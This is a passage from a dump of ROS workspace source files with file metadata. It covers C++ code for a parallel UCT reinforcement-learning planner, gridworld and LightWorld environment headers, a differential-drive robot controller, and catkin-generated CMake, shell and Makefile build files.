NULL;\n}\n\nvoid ParallelETUCT::parallelSearch(){\n\n std::vector<float> actS;\n state_t discS;\n std::deque<float> searchHistory;\n\n // get new planning state\n if (PTHREADDEBUG) {\n cout << \"*** Planning thread wants planning state lock ***\" << endl << flush;\n }\n pthread_mutex_lock(&(plan_state_mutex));\n if (HISTORY_SIZE > 0) pthread_mutex_lock(&history_mutex);\n\n // take the state we're in \n actS = actualPlanState;\n discS = discPlanState;\n searchHistory = saHistory;\n\n\n // wait for non-null\n if (discS == NULL){\n pthread_mutex_unlock(&(plan_state_mutex));\n if (HISTORY_SIZE > 0) pthread_mutex_unlock(&history_mutex);\n return;\n }\n\n if (PTHREADDEBUG){\n pthread_mutex_lock(&statespace_mutex);\n cout << \" uct search from state s (\"\n << statedata[discS].uctVisits <<\"): \";\n pthread_mutex_unlock(&statespace_mutex);\n\n for (unsigned i = 0; i < discS->size(); i++){\n cout << (*discS)[i] << \", \";\n }\n cout << endl << flush;\n }\n\n // call uct search on it\n pthread_mutex_unlock(&(plan_state_mutex));\n if (HISTORY_SIZE > 0) pthread_mutex_unlock(&history_mutex);\n\n if (PTHREADDEBUG) cout << \"*** Planning thread wants search lock ***\" << endl;\n uctSearch(actS, discS, 0, searchHistory);\n\n pthread_yield();\n\n}\n\n\n// canonicalize all the states so we already have them in our statespace\nvoid ParallelETUCT::initStates(){\n cout << \"init states\" << endl;\n std::vector<float> s(featmin.size());\n\n fillInState(s,0);\n}\n\nvoid ParallelETUCT::fillInState(std::vector<float>s, int depth){\n\n // if depth == size, canonicalize and return\n if (depth == (int)featmin.size()){\n canonicalize(s);\n return;\n }\n\n // go through all features at depth\n for (float i = featmin[depth]; i < featmax[depth]+1; i++){\n s[depth] = i;\n fillInState(s, depth+1);\n }\n}\n\n\n\nvoid ParallelETUCT::savePolicy(const char* filename){\n\n ofstream policyFile(filename, ios::out | ios::binary | ios::trunc);\n\n // first part, save the vector size\n int fsize = featmin.size();\n policyFile.write((char*)&fsize, sizeof(int));\n\n // save numactions\n policyFile.write((char*)&numactions, sizeof(int));\n\n // go through all states, and save Q values\n pthread_mutex_lock(&statespace_mutex);\n\n for (std::set< std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n pthread_mutex_unlock(&statespace_mutex);\n\n state_t s = canonicalize(*i);\n\n pthread_mutex_lock(&statespace_mutex);\n state_info* info = &(statedata[s]);\n pthread_mutex_unlock(&statespace_mutex);\n\n // save state\n policyFile.write((char*)&((*i)[0]), sizeof(float)*fsize);\n\n // save q-values\n pthread_mutex_lock(&info->stateinfo_mutex);\n policyFile.write((char*)&(info->Q[0]), sizeof(float)*numactions);\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n pthread_mutex_lock(&statespace_mutex);\n }\n pthread_mutex_unlock(&statespace_mutex);\n\n policyFile.close();\n}\n\n\n\nvoid ParallelETUCT::loadPolicy(const char* filename){\n\n ifstream policyFile(filename, ios::in | ios::binary);\n\n // first part, save the vector size\n int fsize;\n policyFile.read((char*)&fsize, sizeof(int));\n cout << \"Numfeats loaded: \" << fsize << endl << flush;\n\n // save numactions\n int nact;\n policyFile.read((char*)&nact, sizeof(int));\n cout << \"nact loaded: \" << nact << endl << flush;\n cout << \" numactions: \" << numactions << endl << flush;\n\n if (nact != numactions){\n cout << \"this policy is not valid loaded nact: \" << nact\n << \" was told: \" << numactions << endl << flush;\n exit(-1);\n }\n\n // go through all states, loading q values\n while(!policyFile.eof()){\n std::vector<float> state(fsize, 0.0);\n\n // load state\n policyFile.read((char*)&(state[0]), sizeof(float)*fsize);\n //if (LOADDEBUG){\n //cout << \"load policy for state: \";\n // printState(state);\n //}\n\n state_t s = canonicalize(state);\n\n pthread_mutex_lock(&statespace_mutex);\n state_info* info = &(statedata[s]);\n pthread_mutex_unlock(&statespace_mutex);\n\n if (policyFile.eof()) break;\n\n // load q values\n pthread_mutex_lock(&info->stateinfo_mutex);\n\n policyFile.read((char*)&(info->Q[0]), sizeof(float)*numactions);\n\n info->uctVisits = numactions * 100;\n\n for (int j = 0; j < numactions; j++){\n info->uctActions[j] = 100;\n }\n\n info->needsUpdate = true;\n\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n //if (LOADDEBUG){\n //cout << \"Q values: \" << endl;\n //for (int iAct = 0; iAct < numactions; iAct++){\n // cout << \" Action: \" << iAct << \" val: \" << info->Q[iAct] << endl;\n //}\n //}\n }\n\n policyFile.close();\n cout << \"Policy loaded!!!\" << endl << flush;\n}\n\nvoid ParallelETUCT::logValues(ofstream *of, int xmin, int xmax, int ymin, int ymax){\n std::vector<float> state(2, 0.0);\n for (int i = xmin ; i < xmax; i++){\n for (int j = ymin; j < ymax; j++){\n state[0] = j;\n state[1] = i;\n state_t s = canonicalize(state);\n\n pthread_mutex_lock(&statespace_mutex);\n state_info* info = &(statedata[s]);\n pthread_mutex_unlock(&statespace_mutex);\n\n pthread_mutex_lock(&info->stateinfo_mutex);\n\n std::vector<float> &Q_s = info->Q;\n const std::vector<float>::iterator max =\n random_max_element(Q_s.begin(), Q_s.end());\n *of << (*max) << \",\";\n\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n }\n }\n}\n\n\n// should do it such that an already discretized state stays the same\n// mainly the numerical value of each bin should be the average of that bin\nstd::vector<float> ParallelETUCT::discretizeState(const std::vector<float> &s){\n std::vector<float> ds(s.size());\n\n for (unsigned i = 0; i < s.size(); i++){\n\n // since i'm sometimes doing this for discrete domains\n // want to center bins on 0, not edge on 0\n //cout << \"feat \" << i << \" range: \" << featmax[i] << \" \" << featmin[i] << \" \" << (featmax[i]-featmin[i]) << \" n: \" << (float)statesPerDim;\n\n float factor = (featmax[i] - featmin[i]) / (float)statesPerDim[i];\n int bin = 0;\n if (s[i] > 0){\n bin = (int)((s[i]+factor/2) / factor);\n } else {\n bin = (int)((s[i]-factor/2) / factor);\n }\n\n ds[i] = factor*bin;\n //cout << \" factor: \" << factor << \" bin: \" << bin;\n //cout << \" Original: \" << s[i] << \" Discrete: \" << ds[i] << endl;\n }\n\n return ds;\n}\n\n\nstd::vector<float> ParallelETUCT::addVec(const std::vector<float> &a, const std::vector<float> &b){\n if (a.size() != b.size())\n cout << \"ERROR: add vector sizes wrong \" << a.size() << \", \" << b.size() << endl;\n\n std::vector<float> c(a.size(), 0.0);\n for (unsigned i = 0; i < a.size(); i++){\n c[i] = a[i] + b[i];\n }\n\n return c;\n}\n\nstd::vector<float> ParallelETUCT::subVec(const std::vector<float> &a, const std::vector<float> &b){\n if (a.size() != b.size())\n cout << \"ERROR: sub vector sizes wrong \" << a.size() << \", \" << b.size() << endl;\n\n std::vector<float> c(a.size(), 0.0);\n for (unsigned i = 0; i < a.size(); i++){\n c[i] = a[i] - b[i];\n }\n\n return c;\n}\n\nvoid ParallelETUCT::setFirst(){\n if (HISTORY_SIZE == 0) return;\n\n if (HISTORYDEBUG) cout << \"first action, set sahistory to 0s\" << endl;\n\n pthread_mutex_lock(&(history_mutex));\n // first action, reset history vector\n saHistory.resize(saHistory.size(), 0.0);\n pthread_mutex_unlock(&(history_mutex));\n}\n\nvoid ParallelETUCT::setSeeding(bool seeding){\n\n if (HISTORYDEBUG) cout << \"set seed mode to \" << seeding << endl;\n seedMode = seeding;\n\n}\n" }, { "alpha_fraction": 0.7761467695236206, "alphanum_fraction": 0.7798165082931519, "avg_line_length": 67.1875, "blob_id": "6bf312cbc00773f2ed4d16be2aabe4f1b121cfbe", "content_id": "966a0b05bb13ca4ab6622ac6810a50ea5ce1b1db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 1090, "license_type": "no_license", "max_line_length": 126, "num_lines": 16, "path": "/build/ugv_course_gazebo_plugins/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"ugv_course_gazebo_plugins\")\nset(ugv_course_gazebo_plugins_VERSION \"0.0.0\")\nset(ugv_course_gazebo_plugins_MAINTAINER \"micho <[email protected]>\")\nset(ugv_course_gazebo_plugins_PACKAGE_FORMAT \"1\")\nset(ugv_course_gazebo_plugins_BUILD_DEPENDS \"dynamic_reconfigure\" \"roscpp\" \"tf\" \"ugv_course_libs\" \"visualization_msgs\")\nset(ugv_course_gazebo_plugins_BUILD_EXPORT_DEPENDS \"dynamic_reconfigure\" \"roscpp\" \"tf\" \"ugv_course_libs\" \"visualization_msgs\")\nset(ugv_course_gazebo_plugins_BUILDTOOL_DEPENDS \"catkin\")\nset(ugv_course_gazebo_plugins_BUILDTOOL_EXPORT_DEPENDS )\nset(ugv_course_gazebo_plugins_EXEC_DEPENDS \"dynamic_reconfigure\" \"roscpp\" \"tf\" \"ugv_course_libs\" \"visualization_msgs\")\nset(ugv_course_gazebo_plugins_RUN_DEPENDS \"dynamic_reconfigure\" \"roscpp\" \"tf\" \"ugv_course_libs\" \"visualization_msgs\")\nset(ugv_course_gazebo_plugins_TEST_DEPENDS )\nset(ugv_course_gazebo_plugins_DOC_DEPENDS )\nset(ugv_course_gazebo_plugins_URL_WEBSITE \"\")\nset(ugv_course_gazebo_plugins_URL_BUGTRACKER \"\")\nset(ugv_course_gazebo_plugins_URL_REPOSITORY \"\")\nset(ugv_course_gazebo_plugins_DEPRECATED \"\")" }, { "alpha_fraction": 0.7764706015586853, "alphanum_fraction": 0.7858823537826538, "avg_line_length": 41.5, "blob_id": "a2f5759b14f08a5afb230009da23a8eca50a093b", "content_id": "a1f88170d00fdf40b36ea10f2b8935554351eb9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 425, "license_type": "no_license", "max_line_length": 100, "num_lines": 10, "path": "/build/boost-python-catkin-example-master/CMakeFiles/mycpplib.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/mycpplib.dir/src/mycpplib.cpp.o\"\n \"/home/justin/ros_test/devel/lib/python2.7/dist-packages/boost_python_catkin_example/mycpplib.pdb\"\n \"/home/justin/ros_test/devel/lib/python2.7/dist-packages/boost_python_catkin_example/mycpplib.so\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang CXX)\n include(CMakeFiles/mycpplib.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.7650602459907532, "alphanum_fraction": 0.7710843086242676, "avg_line_length": 40.5625, "blob_id": "eb40195368542d89ed6ce211885baf3bb03bcc97", "content_id": "632ab9d49bcc1b783bc4667adb7e012e4acab487", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 664, "license_type": "no_license", "max_line_length": 49, "num_lines": 16, "path": "/build/ugv_course_launch/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"ugv_course_launch\")\nset(ugv_course_launch_VERSION \"0.0.0\")\nset(ugv_course_launch_MAINTAINER \"abc <[email protected]>\")\nset(ugv_course_launch_PACKAGE_FORMAT \"1\")\nset(ugv_course_launch_BUILD_DEPENDS )\nset(ugv_course_launch_BUILD_EXPORT_DEPENDS )\nset(ugv_course_launch_BUILDTOOL_DEPENDS \"catkin\")\nset(ugv_course_launch_BUILDTOOL_EXPORT_DEPENDS )\nset(ugv_course_launch_EXEC_DEPENDS )\nset(ugv_course_launch_RUN_DEPENDS )\nset(ugv_course_launch_TEST_DEPENDS )\nset(ugv_course_launch_DOC_DEPENDS )\nset(ugv_course_launch_URL_WEBSITE \"\")\nset(ugv_course_launch_URL_BUGTRACKER \"\")\nset(ugv_course_launch_URL_REPOSITORY \"\")\nset(ugv_course_launch_DEPRECATED \"\")" }, { "alpha_fraction": 0.682947039604187, "alphanum_fraction": 0.682947039604187, "avg_line_length": 19.649572372436523, "blob_id": "98d859bc275ee30ecc897fafb0fb7dfc4924a010", "content_id": "4fac571de0c87ab20d708e3db800dd4b0fca0d9f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2416, "license_type": "no_license", "max_line_length": 91, "num_lines": 117, "path": "/src/rl-texplore-ros-pkg-master/src/rl_env/include/rl_env/LightWorld.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/**\n The LightWorld domain from \n \"Building Portable Options: Skill Transfer in Reinforcement Learning\"\n by Konidaris and Barto\n*/\n\n#ifndef _LIGHTWORLD_H_\n#define _LIGHTWORLD_H_\n\n#include <set>\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n\n\nclass LightWorld: public Environment {\npublic:\n /** Creates a PlayRoom domain using the specified map.\n Puts objects in random locations.\n \\param rand Random number generator to use.\n \\param stochastic Whether to use nondeterministic actions \n \\param nrooms Number of rooms to have */\n LightWorld(Random &rand, bool stochastic, int nrooms);\n\n virtual ~LightWorld();\n\n virtual const std::vector<float> &sensation() const;\n virtual float apply(int action);\n\n virtual bool terminal() const;\n virtual void reset();\n virtual int getNumActions();\n virtual void getMinMaxFeatures(std::vector<float> *minFeat, std::vector<float> *maxFeat);\n virtual bool isEpisodic() { return false; };\n virtual void getMinMaxReward(float* minR, float* maxR);\n\n\n friend std::ostream &operator<<(std::ostream &out, const LightWorld &playroom);\n\n\n void resetKey();\n void setKey(std::vector<float> testS);\n\n struct room_info {\n int height;\n int width;\n int key_ns;\n int key_ew;\n int lock_ns;\n int lock_ew;\n int door_ns;\n int door_ew;\n };\n\n typedef std::pair<float,float> coord_t;\n enum lightworld_action_t {NORTH, EAST, WEST, SOUTH, PICKUP, PRESS, NUM_ACTIONS};\n\n bool LWDEBUG;\n\n const bool noisy;\n int nrooms;\n Random &rng;\n\n std::vector<float> s;\n float& ns;\n float& ew;\n float& have_key;\n float& door_open;\n float& room_id;\n float& key_n;\n float& key_e;\n float& key_w;\n float& key_s;\n float& lock_n;\n float& lock_e;\n float& lock_w;\n float& lock_s;\n float& door_n;\n float& door_e;\n float& door_w; \n float& door_s;\n\n std::vector<room_info> rooms;\n\n void updateSensors();\n int applyNoise(int action);\n\n /** Prints the current state */\n void print_state() const;\n\n /** Prints the current map. */\n void print_map() const;\n\n void updateVisits();\n\n int totalVisited;\n int keyVisited;\n int lockVisited;\n int doorVisited;\n int haveKey;\n int doorOpen;\n int leaveRoom;\n int pressKey;\n int pressLockCorrect;\n int pressLockIncorrect;\n int pressDoor;\n int pressOther;\n int pickupKeyCorrect;\n int pickupKeyIncorrect;\n int pickupLock;\n int pickupDoor;\n int pickupOther;\n\n int MAX_SENSE;\n\n};\n\n#endif\n" }, { "alpha_fraction": 0.7731958627700806, "alphanum_fraction": 0.7835051417350769, "avg_line_length": 40.71428680419922, "blob_id": "07d8f8b86749ebd521e34478b2aa3da947826c17", "content_id": "72cdcb7431673dd607837cc5d0479e46be951909", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 291, "license_type": "no_license", "max_line_length": 48, "num_lines": 7, "path": "/src/gmapping_example/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"gmapping_example\")\nset(gmapping_example_MAINTAINER \"abc <[email protected]>\")\nset(gmapping_example_DEPRECATED \"\")\nset(gmapping_example_VERSION \"0.0.0\")\nset(gmapping_example_BUILD_DEPENDS )\nset(gmapping_example_RUN_DEPENDS )\nset(gmapping_example_BUILDTOOL_DEPENDS \"catkin\")" }, { "alpha_fraction": 0.7886056900024414, "alphanum_fraction": 0.7968515753746033, "avg_line_length": 77.52941131591797, "blob_id": "107f87014f0dbc24edd35e7f2101bd8b9d375d91", "content_id": "c92752d8fbbdb94b2ca318d9e16d8ddb45981f94", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1334, "license_type": "no_license", "max_line_length": 190, "num_lines": 17, "path": "/src/ugv_course_libs/catkin_generated/setup_cached.sh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#!/usr/bin/env sh\n# generated from catkin/python/catkin/environment_cache.py\n\n# based on a snapshot of the environment before and after calling the setup script\n# it emulates the modifications of the setup script without recurring computations\n\n# new environment variables\n\n# modified environment variables\nexport CMAKE_PREFIX_PATH=\"/home/jman/ros/src/ugv_course/ugv_course_libs/devel:$CMAKE_PREFIX_PATH\"\nexport CPATH=\"/home/jman/ros/src/ugv_course/ugv_course_libs/devel/include:$CPATH\"\nexport LD_LIBRARY_PATH=\"/home/jman/ros/src/ugv_course/ugv_course_libs/devel/lib:/home/jman/ros/src/ugv_course/ugv_course_libs/devel/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH\"\nexport PATH=\"/home/jman/ros/src/ugv_course/ugv_course_libs/devel/bin:$PATH\"\nexport PKG_CONFIG_PATH=\"/home/jman/ros/src/ugv_course/ugv_course_libs/devel/lib/pkgconfig:/home/jman/ros/src/ugv_course/ugv_course_libs/devel/lib/x86_64-linux-gnu/pkgconfig:$PKG_CONFIG_PATH\"\nexport PYTHONPATH=\"/home/jman/ros/src/ugv_course/ugv_course_libs/devel/lib/python2.7/dist-packages:$PYTHONPATH\"\nexport ROSLISP_PACKAGE_DIRECTORIES=\"/home/jman/ros/src/ugv_course/ugv_course_libs/devel/share/common-lisp:$ROSLISP_PACKAGE_DIRECTORIES\"\nexport ROS_PACKAGE_PATH=\"/home/dlebowski/workspace/extraRepo/ros2/src/ugv_course/ugv_course_libs:/home/jman/ros/src/ugv_course/ugv_course_libs:$ROS_PACKAGE_PATH\"" }, { "alpha_fraction": 0.7459283471107483, "alphanum_fraction": 0.7459283471107483, "avg_line_length": 29.700000762939453, "blob_id": "9dab52f6efc99b62521037624387088fb0070ff9", "content_id": "13a05b4603cce285a0332e6f413df42700b362e9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 307, "license_type": "no_license", "max_line_length": 64, "num_lines": 10, "path": "/build/rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/env.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/env.dir/src/env.cpp.o\"\n \"/home/justin/ros_test/devel/lib/rl_env/env.pdb\"\n \"/home/justin/ros_test/devel/lib/rl_env/env\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang CXX)\n include(CMakeFiles/env.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.7266880869865417, "alphanum_fraction": 0.7331189513206482, "avg_line_length": 37.9375, "blob_id": "326f50506303e75da7155b78d37489c03eb2a39d", "content_id": "dfd9f38d8bbdf2030b36d4701ee29a2eda298861", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 622, "license_type": "no_license", "max_line_length": 62, "num_lines": 16, "path": "/build/rl-texplore-ros-pkg-master/src/rl_msgs/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"rl_msgs\")\nset(rl_msgs_VERSION \"0.0.0\")\nset(rl_msgs_MAINTAINER \"Todd Hester <[email protected]>\")\nset(rl_msgs_PACKAGE_FORMAT \"1\")\nset(rl_msgs_BUILD_DEPENDS \"message_generation\" \"std_msgs\")\nset(rl_msgs_BUILD_EXPORT_DEPENDS \"message_runtime\" \"std_msgs\")\nset(rl_msgs_BUILDTOOL_DEPENDS \"catkin\")\nset(rl_msgs_BUILDTOOL_EXPORT_DEPENDS )\nset(rl_msgs_EXEC_DEPENDS \"message_runtime\" \"std_msgs\")\nset(rl_msgs_RUN_DEPENDS \"message_runtime\" \"std_msgs\")\nset(rl_msgs_TEST_DEPENDS )\nset(rl_msgs_DOC_DEPENDS )\nset(rl_msgs_URL_WEBSITE \"\")\nset(rl_msgs_URL_BUGTRACKER \"\")\nset(rl_msgs_URL_REPOSITORY \"\")\nset(rl_msgs_DEPRECATED \"\")" }, { "alpha_fraction": 0.6399772763252258, "alphanum_fraction": 0.6439523100852966, "avg_line_length": 33.52941131591797, "blob_id": "c335bba2360d99db9167bc8e6026550be4e9d116", "content_id": "10e04c1b28f20d807f8bd6bedf47162b824719a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3522, "license_type": "no_license", "max_line_length": 73, "num_lines": 102, "path": "/src/rl-texplore-ros-pkg-master/src/rl_env/include/rl_env/gridworld.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#ifndef _GRIDWORLD_H_\n#define _GRIDWORLD_H_\n\n#include <rl_common/Random.h>\n\n#include <iostream>\n#include <vector>\n\n/** \\file\n Declarations supporting Gridworld */\n\n/** A representation of a rectangular grid with interior walls that\n allows users easily to determine available directions of travel in\n each cell. */\nclass Gridworld {\npublic:\n /** Creates a gridworld using the given wall occupancy matrices.\n \\param height Height of the gridworld.\n \\param width Width of the gridworld.\n \\param northsouth Whether each interior wall blocking NS\n movement exists, organized first by [w]\n columns and then by [h-1] rows.\n \\param eastwest Whether each interior wall blocking EW movement\n exists, organized first by [h] rows and then by\n [w-1] columns. */\n Gridworld(unsigned height, unsigned width,\n\t const std::vector<std::vector<bool> > &northsouth,\n\t const std::vector<std::vector<bool> > &eastwest);\n\n /** Creates a random gridworld with the desired dimensions. */\n Gridworld(unsigned width, unsigned height, Random &rng);\n\n unsigned height() const { return h; }\n unsigned width() const { return w; }\n\n /** Checks if a wall blocks movement in a given direction from a\n given coordinate.\n \\param nsCoord The coordinate along the NS direction.\n \\param ewCoord The coordinate along the EW direction.\n \\param dir The direction in which to check movement. 0 is\n north, 1 is south, 2 is east, 3 is west. */\n bool wall(unsigned nsCoord, unsigned ewCoord, unsigned dir) const;\n\n friend std::ostream &operator<<(std::ostream &out, const Gridworld &g);\n\nprotected:\n /** Attempts to add a random wall that must not touch any other\n interior wall. */\n void add_obstacle(Random &rng);\n\n /** Given a segment of wall that could be built, builds a subset of\n it of random length. Always builds from one of the two ends. */\n void chooseSegment(unsigned first,\n\t\t unsigned last,\n\t\t unsigned j,\n\t\t std::vector<std::vector<bool> > &parallel,\n\t\t Random &rng);\n\nprivate:\n /** Determines if the \"smaller\" endpoint of the given line segment\n is clear: none of the four possible walls using that endpoint\n exist.\n \\param i An index into parallel.\n \\param j An index into parallel[i].\n \\param parallel Occupancy matrix for walls parallel to the wall\n under consiration.\n \\param perpendicular Occupancy matrix for walls perpendicular to\n the wall under consiration. */\n bool isClear(unsigned i, unsigned j,\n\t std::vector<std::vector<bool> > &parallel,\n\t std::vector<std::vector<bool> > &perpendicular) const\n {\n if (i > parallel.size())\n return false;\n if (i < parallel.size() && parallel[i][j])\n return false;\n if (i > 0 && parallel[i - 1][j])\n return false;\n if (i > 0\n\t&& i <= perpendicular[j].size()\n\t&& perpendicular[j][i - 1])\n return false;\n if (i > 0\n\t&& i <= perpendicular[j + 1].size()\n\t&& perpendicular[j + 1][i - 1])\n return false;\n return true;\n }\n\n const unsigned h;\n const unsigned w;\n\n /** The occupancy matrix for the walls that obstruct NS\n movement. Element i,j is true if in the ith column the jth\n east-west wall from the bottom is present. */\n std::vector<std::vector<bool> > ns;\n\n /** The same as for ns but different. */\n std::vector<std::vector<bool> > ew;\n};\n\n#endif\n" }, { "alpha_fraction": 0.6655017733573914, "alphanum_fraction": 0.6789815425872803, "avg_line_length": 28.895523071289062, "blob_id": "ec0a3ece92261ba5e80e0d15202bdb9e3554eca1", "content_id": "4f51b51ab4eac6e21d0bdfb84e53588e11e7799c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2003, "license_type": "no_license", "max_line_length": 101, "num_lines": 67, "path": "/src/roundbot_control/src/DiffController.cpp", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include <roundbot_control/DiffController.h>\n\nnamespace roundbot_control\n{\n\nbool DiffController::init(hardware_interface::VelocityJointInterface* hw, ros::NodeHandle &n)\n{\n sub_twist_ = n.subscribe(\"/roundbot/cmd_vel\", 1, &DiffController::recvTwist, this);\n loadParams(n);\n left_target_speed_ = 0.0;\n right_target_speed_ = 0.0;\n\n left_joint_ = hw->getHandle(left_joint_name_);\n right_joint_ = hw->getHandle(right_joint_name_);\n return true;\n}\n\nvoid DiffController::loadParams(ros::NodeHandle& n)\n{\n n.param(\"left_joint\", left_joint_name_, std::string(\"left_wheel\"));\n n.param(\"right_joint\", right_joint_name_, std::string(\"right_wheel\"));\n n.param(\"control_timeout\", timeout_, 0.25);\n n.param(\"wheel_radius\", wheel_radius_, 0.2);\n n.param(\"wheel_separation\", wheel_separation_, 0.9);\n\n double max_speed, max_accel, max_decel;\n n.param(\"max_speed\", max_speed, 10.0);\n n.param(\"max_accel\", max_accel, 1.0);\n n.param(\"max_decel\", max_decel, 1.0);\n\n left_motor_ = new MotorSim(max_speed, max_accel, max_decel);\n right_motor_ = new MotorSim(max_speed, max_accel, max_decel);\n}\n\nvoid DiffController::recvTwist(const geometry_msgs::Twist::ConstPtr& msg)\n{\n command_stamp_ = ros::Time::now();\n cmd_ = *msg;\n}\n\nvoid DiffController::update(const ros::Time& time, const ros::Duration& period)\n{\n if ((time - command_stamp_).toSec() >= timeout_) {\n left_target_speed_ = 0.0;\n right_target_speed_ = 0.0;\n }else{\n left_target_speed_ = (cmd_.linear.x - 0.5 * wheel_separation_ * cmd_.angular.z) / wheel_radius_;\n right_target_speed_ = (cmd_.linear.x + 0.5 * wheel_separation_ * cmd_.angular.z) / wheel_radius_;\n }\n\n double left_actual = left_motor_->iterate(left_target_speed_, period.toSec());\n double right_actual = right_motor_->iterate(right_target_speed_, period.toSec());\n left_joint_.setCommand(left_actual);\n right_joint_.setCommand(right_actual);\n}\n\nvoid DiffController::starting(const ros::Time& time)\n{\n\n}\n\nvoid DiffController::stopping(const ros::Time& time)\n{\n\n}\n\n}\n" }, { "alpha_fraction": 0.7552301287651062, "alphanum_fraction": 0.7594142556190491, "avg_line_length": 28.26530647277832, "blob_id": "a9ef043a1a2fe3fe9c295a5a5259ffd73ad67dcb", "content_id": "a61696c8852a21291beb665dd5ee6fb8e5a6b82d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1434, "license_type": "no_license", "max_line_length": 112, "num_lines": 49, "path": "/src/roundbot_control/include/roundbot_control/WheelSpeedController.h", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#ifndef WHEELSPEEDCONTROLLER_H_\n#define WHEELSPEEDCONTROLLER_H_\n\n#include <controller_interface/controller.h>\n#include <hardware_interface/joint_command_interface.h>\n#include <pluginlib/class_list_macros.h>\n\n#include <std_msgs/Float64.h>\n#include <roundbot_control/MotorSim.h>\n\nnamespace roundbot_control\n{\n\nclass WheelSpeedController : public controller_interface::Controller<hardware_interface::VelocityJointInterface>\n{\npublic:\n bool init(hardware_interface::VelocityJointInterface* hw, ros::NodeHandle &n);\n void update(const ros::Time& time, const ros::Duration& period);\n void starting(const ros::Time& time);\n void stopping(const ros::Time& time);\nprivate:\n void recvLeftCommand(const std_msgs::Float64::ConstPtr& msg);\n void recvRightCommand(const std_msgs::Float64::ConstPtr& msg);\n void loadParams(ros::NodeHandle& n);\n\n ros::Subscriber sub_left_command_;\n ros::Subscriber sub_right_command_;\n\n hardware_interface::JointHandle left_joint_;\n hardware_interface::JointHandle right_joint_;\n\n MotorSim* left_motor_;\n MotorSim* right_motor_;\n double left_target_speed_;\n double right_target_speed_;\n ros::Time left_command_stamp_;\n ros::Time right_command_stamp_;\n\n // Parameters\n std::string left_joint_name_;\n std::string right_joint_name_;\n double timeout_;\n};\n\nPLUGINLIB_EXPORT_CLASS(roundbot_control::WheelSpeedController, controller_interface::ControllerBase);\n\n}\n\n#endif /* WHEELSPEEDCONTROLLER_H_ */\n" }, { "alpha_fraction": 0.7582486867904663, "alphanum_fraction": 0.7596479058265686, "avg_line_length": 48.121952056884766, "blob_id": "36f5c2e13c6c88a002211fb616fcd114e1cbf741", "content_id": "f7fd4d83e9e5159a41e5f7a7d3b197be5a7e7ffe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 22155, "license_type": "no_license", "max_line_length": 286, "num_lines": 451, "path": "/build/rl-texplore-ros-pkg-master/src/rl_msgs/Makefile", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# CMAKE generated file: DO NOT EDIT!\n# Generated by \"Unix Makefiles\" Generator, CMake Version 3.10\n\n# Default target executed when no arguments are given to make.\ndefault_target: all\n\n.PHONY : default_target\n\n# Allow only one \"make -f Makefile2\" at a time, but pass parallelism.\n.NOTPARALLEL:\n\n\n#=============================================================================\n# Special targets provided by cmake.\n\n# Disable implicit rules so canonical targets will work.\n.SUFFIXES:\n\n\n# Remove some rules from gmake that .SUFFIXES does not remove.\nSUFFIXES =\n\n.SUFFIXES: .hpux_make_needs_suffix_list\n\n\n# Suppress display of executed commands.\n$(VERBOSE).SILENT:\n\n\n# A target that is always out of date.\ncmake_force:\n\n.PHONY : cmake_force\n\n#=============================================================================\n# Set environment variables for the build.\n\n# The shell in which to execute make rules.\nSHELL = /bin/sh\n\n# The CMake executable.\nCMAKE_COMMAND = /usr/bin/cmake\n\n# The command to remove a file.\nRM = /usr/bin/cmake -E remove -f\n\n# Escaping for special characters.\nEQUALS = =\n\n# The top-level source directory on which CMake was run.\nCMAKE_SOURCE_DIR = /home/justin/ros_test/src\n\n# The top-level build directory on which CMake was run.\nCMAKE_BINARY_DIR = /home/justin/ros_test/build\n\n#=============================================================================\n# Targets provided globally by CMake.\n\n# Special rule for the target install/strip\ninstall/strip: 